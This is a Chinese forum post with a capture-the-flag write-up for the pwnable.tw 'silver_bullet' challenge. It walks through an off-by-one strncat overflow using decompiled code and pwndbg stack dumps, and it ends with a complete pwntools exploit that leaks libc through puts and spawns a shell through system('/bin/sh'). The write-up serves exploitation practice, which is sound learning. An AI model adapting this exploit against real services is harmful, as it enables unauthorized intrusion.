吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 3202|回复: 3
收起左侧

[调试逆向] pwnable.tw - silver_bullet - offbyone

[复制链接]
dreamingctf 发表于 2022-3-23 21:35
利用 offbyone,可以处理数组或者字符串最后一个字节的问题
一般也就是最后的 \n 或者 \t 或者 \x00 的问题

[Asm] 纯文本查看 复制代码
1
2
3
4
5
6
checksec silver_bullet
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE


先分析函数功能,create_bulet、power_up、beat 这三个
[C] 纯文本查看 复制代码
1
2
3
4
5
int __cdecl create_bullet(char *s){
  printf("Give me your description of bullet :");
  read_input(s, 0x30u);
  v2 = strlen(s);
}

只能生成一次角色

[C] 纯文本查看 复制代码
1
2
3
4
5
6
7
8
9
int __cdecl power_up(char *dest){
  if ( !*dest )
     return puts("You need create the bullet first !");
  if ( *((_DWORD *)dest + 12) > 47u )
    return puts("You can't power up any more !");
    printf("Give me your another description of bullet :");
    read_input(s, 48 - *((_DWORD *)dest + 12));
    strncat(dest, s, 48 - *((_DWORD *)dest + 12));
}

这里的大于 47 的判断就觉得很奇怪,而且还有长度 48 和相加相减的运算,猜想:边界值 47 的时候,会发生奇奇怪怪的问题

[Asm] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
int __cdecl beat(int a1, int a2){
 
*(_DWORD *)a2 -= *(_DWORD *)(a1 + 0x30);
    if ( *(int *)a2 <= 0 )
    {
      puts("Oh ! You win !!");
      result = 1;
    }
    else
    {
      puts("Sorry ... It still alive !!");
      result = 0;
}
}

Beat 函数呢,就是要自己的 HP 大于 wolf 的 HP,如果大于了,就从 main 函数正常 return 0 退出了

从函数逻辑看:存在某种方式,使得自己的 HP 可以绕过 48 的限制,达到特别大(大于0x7fffffff),从而退出main;由于本题是 x86,又没开栈保护,从而猜想是用 system 覆盖 main 的返回地址,从而完成提权

以下是相关的调试记录

[Asm] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
pwndbg> stack 40
00:0000│ esp 0xffffcfec &#9666;— 0x0
01:0004│     0xffffcff0 &#9666;— 0xa /* '\n' */
02:0008│     0xffffcff4 &#9666;— 0x0
03:000c│     0xffffcff8 —&#9656; 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) &#9666;— 0x1d7d8c
04:0010│     0xffffcffc —&#9656; 0x8048656 (read_int+19) &#9666;— add    esp, 0xc
05:0014│     0xffffd000 &#9666;— 0x0
06:0018│     0xffffd004 —&#9656; 0x804867f (read_int+60) &#9666;— add    esp, 4
07:001c│     0xffffd008 —&#9656; 0xffffd00c &#9666;— 0xa32 /* '2\n' */
08:0020│     0xffffd00c &#9666;— 0xa32 /* '2\n' */
09:0024│     0xffffd010 —&#9656; 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) &#9666;— 0x1d7d8c
0a:0028│     0xffffd014 &#9666;— 0x0
0b:002c│     0xffffd018 —&#9656; 0xf7e2b525 (printf+5) &#9666;— add    eax, 0x186adb
0c:0030│     0xffffd01c &#9666;— 0x2
0d:0034│ ebp 0xffffd020 —&#9656; 0xffffd068 &#9666;— 0x0
0e:0038│     0xffffd024 —&#9656; 0x80489c2 (main+110) &#9666;— add    esp, 4
0f:003c│     0xffffd028 —&#9656; 0xffffd034 &#9666;— 0x0
10:0040│     0xffffd02c &#9666;— 0x7fffffff
11:0044│     0xffffd030 —&#9656; 0x8048d06 &#9666;— inc    edi /* 'Gin' */
12:0048│ eax 0xffffd034 &#9666;— 0x0
... ↓        13 skipped
20:0080│     0xffffd06c —&#9656; 0xf7df2fa1 (__libc_start_main+241) &#9666;— add    esp, 0x10
21:0084│     0xffffd070 &#9666;— 0x1
22:0088│     0xffffd074 —&#9656; 0xffffd104 —&#9656; 0xffffd2c0 &#9666;— '/home/ubuntu/Desktop/tw/bullet/silver_bullet'
23:008c│     0xffffd078 —&#9656; 0xffffd10c —&#9656; 0xffffd2ed &#9666;— 'CLUTTER_IM_MODULE=xim'
24:0090│     0xffffd07c —&#9656; 0xffffd094 &#9666;— 0x0
25:0094│     0xffffd080 &#9666;— 0x1
26:0098│     0xffffd084 —&#9656; 0xffffd104 —&#9656; 0xffffd2c0 &#9666;— '/home/ubuntu/Desktop/tw/bullet/silver_bullet'
27:009c│     0xffffd088 —&#9656; 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) &#9666;— 0x1d7d8c


在 2 这个功能里,猜想要做的事是覆盖到
20:0080│     0xffffd06c —&#9656; 0xf7df2fa1 (__libc_start_main+241) &#9666;— add    esp, 0x10


到达这种状态的输入顺序
47 * "A" -> "AB"

[Asm] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
pwndbg> stack 40
00:0000│ esp 0xffffcfec &#9666;— 0x0
01:0004│     0xffffcff0 &#9666;— 0xa /* '\n' */
02:0008│     0xffffcff4 &#9666;— 0x0
03:000c│     0xffffcff8 —&#9656; 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) &#9666;— 0x1d7d8c
04:0010│     0xffffcffc —&#9656; 0x8048656 (read_int+19) &#9666;— add    esp, 0xc
05:0014│     0xffffd000 &#9666;— 0x0
06:0018│     0xffffd004 —&#9656; 0x804867f (read_int+60) &#9666;— add    esp, 4
07:001c│     0xffffd008 —&#9656; 0xffffd00c &#9666;— 0xa32 /* '2\n' */
08:0020│     0xffffd00c &#9666;— 0xa32 /* '2\n' */
09:0024│     0xffffd010 —&#9656; 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) &#9666;— 0x1d7d8c
0a:0028│     0xffffd014 &#9666;— 0x0
0b:002c│     0xffffd018 —&#9656; 0xf7e2b525 (printf+5) &#9666;— add    eax, 0x186adb
0c:0030│     0xffffd01c &#9666;— 0x2
0d:0034│ ebp 0xffffd020 —&#9656; 0xffffd068 &#9666;— 0x0
0e:0038│     0xffffd024 —&#9656; 0x80489c2 (main+110) &#9666;— add    esp, 4
0f:003c│     0xffffd028 —&#9656; 0xffffd034 &#9666;— 0x34333231 ('1234')
10:0040│     0xffffd02c &#9666;— 0x7fffffff
11:0044│     0xffffd030 —&#9656; 0x8048d06 &#9666;— inc    edi /* 'Gin' */
12:0048│ eax 0xffffd034 &#9666;— 0x34333231 ('1234')
... ↓        10 skipped
1d:0074│     0xffffd060 &#9666;— 0x41333231 ('123A')
1e:0078│     0xffffd064 &#9666;— 0x1
1f:007c│     0xffffd068 &#9666;— 0x0
20:0080│     0xffffd06c —&#9656; 0xf7df2fa1 (__libc_start_main+241) &#9666;— add    esp, 0x10
21:0084│     0xffffd070 &#9666;— 0x1
22:0088│     0xffffd074 —&#9656; 0xffffd104 —&#9656; 0xffffd2c0 &#9666;— '/home/ubuntu/Desktop/tw/bullet/silver_bullet'
23:008c│     0xffffd078 —&#9656; 0xffffd10c —&#9656; 0xffffd2ed &#9666;— 'CLUTTER_IM_MODULE=xim'
24:0090│     0xffffd07c —&#9656; 0xffffd094 &#9666;— 0x0
25:0094│     0xffffd080 &#9666;— 0x1
26:0098│     0xffffd084 —&#9656; 0xffffd104 —&#9656; 0xffffd2c0 &#9666;— '/home/ubuntu/Desktop/tw/bullet/silver_bullet'
27:009c│     0xffffd088 —&#9656; 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) &#9666;— 0x1d7d8c



ABCDEFGHabcdefgh12345678
[Asm] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
pwndbg> stack 40
00:0000│ esp 0xffffcfec &#9666;— 0x0
01:0004│     0xffffcff0 &#9666;— 0xa /* '\n' */
02:0008│     0xffffcff4 &#9666;— 0x0
03:000c│     0xffffcff8 —&#9656; 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) &#9666;— 0x1d7d8c
04:0010│     0xffffcffc —&#9656; 0x8048656 (read_int+19) &#9666;— add    esp, 0xc
05:0014│     0xffffd000 &#9666;— 0x0
06:0018│     0xffffd004 —&#9656; 0x804867f (read_int+60) &#9666;— add    esp, 4
07:001c│     0xffffd008 —&#9656; 0xffffd00c &#9666;— 0xa32 /* '2\n' */
08:0020│     0xffffd00c &#9666;— 0xa32 /* '2\n' */
09:0024│     0xffffd010 —&#9656; 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) &#9666;— 0x1d7d8c
0a:0028│     0xffffd014 &#9666;— 0x0
0b:002c│     0xffffd018 —&#9656; 0xf7e2b525 (printf+5) &#9666;— add    eax, 0x186adb
0c:0030│     0xffffd01c &#9666;— 0x2
0d:0034│ ebp 0xffffd020 —&#9656; 0xffffd068 &#9666;— 'DEFGHabcdefgh12345678'
0e:0038│     0xffffd024 —&#9656; 0x80489c2 (main+110) &#9666;— add    esp, 4
0f:003c│     0xffffd028 —&#9656; 0xffffd034 &#9666;— 0x34333231 ('1234')
10:0040│     0xffffd02c &#9666;— 0x7fffffff
11:0044│     0xffffd030 —&#9656; 0x8048d06 &#9666;— inc    edi /* 'Gin' */
12:0048│ eax 0xffffd034 &#9666;— 0x34333231 ('1234')
... ↓        10 skipped
1d:0074│     0xffffd060 &#9666;— 0x41333231 ('123A')
1e:0078│     0xffffd064 &#9666;— 0x43424119
1f:007c│     0xffffd068 &#9666;— 'DEFGHabcdefgh12345678'
20:0080│     0xffffd06c &#9666;— 'Habcdefgh12345678'
21:0084│     0xffffd070 &#9666;— 'defgh12345678'
22:0088│     0xffffd074 &#9666;— 'h12345678'
23:008c│     0xffffd078 &#9666;— '45678'
24:0090│     0xffffd07c —&#9656; 0xffff0038 &#9666;— 0x0
25:0094│     0xffffd080 &#9666;— 0x1
26:0098│     0xffffd084 —&#9656; 0xffffd104 —&#9656; 0xffffd2c0 &#9666;— '/home/ubuntu/Desktop/tw/bullet/silver_bullet'
27:009c│     0xffffd088 —&#9656; 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) &#9666;— 0x1d7d8c

可以看到,返回地址已经被覆盖成了

[Asm] 纯文本查看 复制代码
1
20:0080│     0xffffd06c &#9666;— 'Habcdefgh12345678'

想要跳出 main,需要达到 beat 这个条件
图片.png
这是使用暴力命令修改的

[Asm] 纯文本查看 复制代码
1
set *0xff86b6b4=0xFFFFFFFF


我们其实需要控制其第一个字节为 0xF0即可,然后就可以 ret2libc 了
那就是构造一个很大的数就好了,比如说这个:3284124464

图片.png
这样就实现了 HP 的绕过
但问题是,我们这样没有泄露出可用的地址,导致无法算出 system 和 "/bin/sh" 的地址
于是,应该让 Create 和 PowerUp 配合得更好一些,利用 ROP,使得程序在泄露程序之后继续返回 main 执行,从而又有相同漏洞利用,才可以有 system 函数的运行机会

细节问题
图片.png
解决方案:更新 pwntools:sudo pip install --upgrade pwntools


结果记录
[Asm] 纯文本查看 复制代码
1
2
3
4
5
6
$ find . -name flag
[DEBUG] Sent 0x12 bytes:
    b'find . -name flag\n'
[DEBUG] Received 0x1a bytes:
    b'./home/silver_bullet/flag\n'
./home/silver_bullet/flag


exp如下
[Python] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
 
debug = 0
online = 1
 
context(log_level = "debug", arch = 'i386', os = "linux")
 
if online == 0:
    io = process("./silver_bullet")
    libc = ELF("/lib/i386-linux-gnu/libc.so.6")
 
else:
    io = remote("chall.pwnable.tw", 10103)
    libc = ELF("./libc_32.so.6")
 
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True: io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s,addr : log.info("\033[1;31;40m %s --> 0x%x \033[0m" % (s, addr))
uu32 = lambda data : u32(data.ljust(4, "\x00"))
uu64 = lambda data : u64(data.ljust(8, "\x00"))
 
def Create(data):
    ru("choice :")
    sl("1")
    ru("bullet :")
    sl(data)
 
def PowerUp(data):
    ru("choice :")
    sl("2")
    ru("bullet :")
    sl(data)
 
def Beat():
    ru("choice :")
    sl("3")
 
main = 0x8048954
def exp(func, arg):
    Create("A" * 0x20)
    PowerUp("B" * 0x10)
    PowerUp(p32(0x7FFFFFFF) + b"A" * 3 + p32(func) + p32(main) + p32(arg))
    Beat()
 
elf = ELF("./silver_bullet")
print (hex(elf.got["puts"]))
print (hex(elf.plt["puts"]))
exp(elf.plt['puts'], elf.got['puts'])
 
ru("win !!\n")
puts_addr = u32(io.recvuntil("\n", drop = True).ljust(4, b"\x00"))
print ("puts_addr", puts_addr)
 
libc_base = puts_addr - libc.sym["puts"]
system_addr = libc_base + libc.sym["system"]
bin_sh_addr = libc_base + libc.search(b"/bin/sh").__next__()
exp(system_addr, bin_sh_addr)
 
io.interactive()


参考链接:
https://www.cnblogs.com/Rookle/p/12884557.html

免费评分

参与人数 3威望 +1 吾爱币 +22 热心值 +3 收起 理由
junjia215 + 1 + 1 谢谢@Thanks!
Hmily + 1 + 20 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
xxxlsy + 1 + 1 热心回复!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

 楼主| dreamingctf 发表于 2022-3-31 14:38
tony1990 发表于 2022-3-30 20:50
学习中,也有学习逆向的想法,感觉又要被扼杀在摇篮里了。

先走起来,从 debug HelloWorld 开始,再说坚持下去的事
从 0 到 0.0000001,再从 0.0000001 到 1
matsutei 发表于 2022-3-23 22:44
tony1990 发表于 2022-3-30 20:50
学习中,也有学习逆向的想法,感觉又要被扼杀在摇篮里了。
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2025-8-13 11:52

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表